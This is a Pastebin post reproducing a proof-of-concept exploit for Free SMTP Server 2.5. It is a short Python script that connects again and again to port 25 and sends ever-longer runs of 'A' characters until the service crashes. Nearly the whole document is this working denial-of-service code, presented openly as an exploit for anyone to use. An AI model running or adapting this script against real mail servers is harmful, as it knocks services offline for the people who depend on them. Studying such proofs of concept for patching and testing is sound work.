Advertisement
FlyFar

Free SMTP Server - Local Denial of Service Crash (PoC)

Feb 13th, 2024
796
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.80 KB | Cybersecurity | 0 0
  1. # Exploit Title: Free SMTP Server - Local Denial of Service Crash (PoC)
  2. # Date: February 3, 2009
  3. # Exploit Author: Metin Kandemir (kandemir)
  4. # Vendor Homepage: http://www.softstack.com/freesmtp.html
  5. # Software Link: https://free-smtp-server.en.uptodown.com/windows/download
  6. # Version: 2.5
  7. # Tested on: Windows 7 Service Pack 1 x64
  8. # Software Description : Free SMTP server program to send emails directly from PC.
  9. # ==================================================================
  10. # The SMTP Server will crash when this code is run on localhost.
  11.  
  12. import socket
  13.  
  14. a=1
  15. buffer = ["A"]
  16. while a <= 20000:
  17.         a += 1
  18.         buffer.append("A"*a)
  19.  
  20.  
  21. for string in buffer:
  22.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  23.         connect =  s.connect(('127.0.0.1',25))
  24.         s.send(string)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement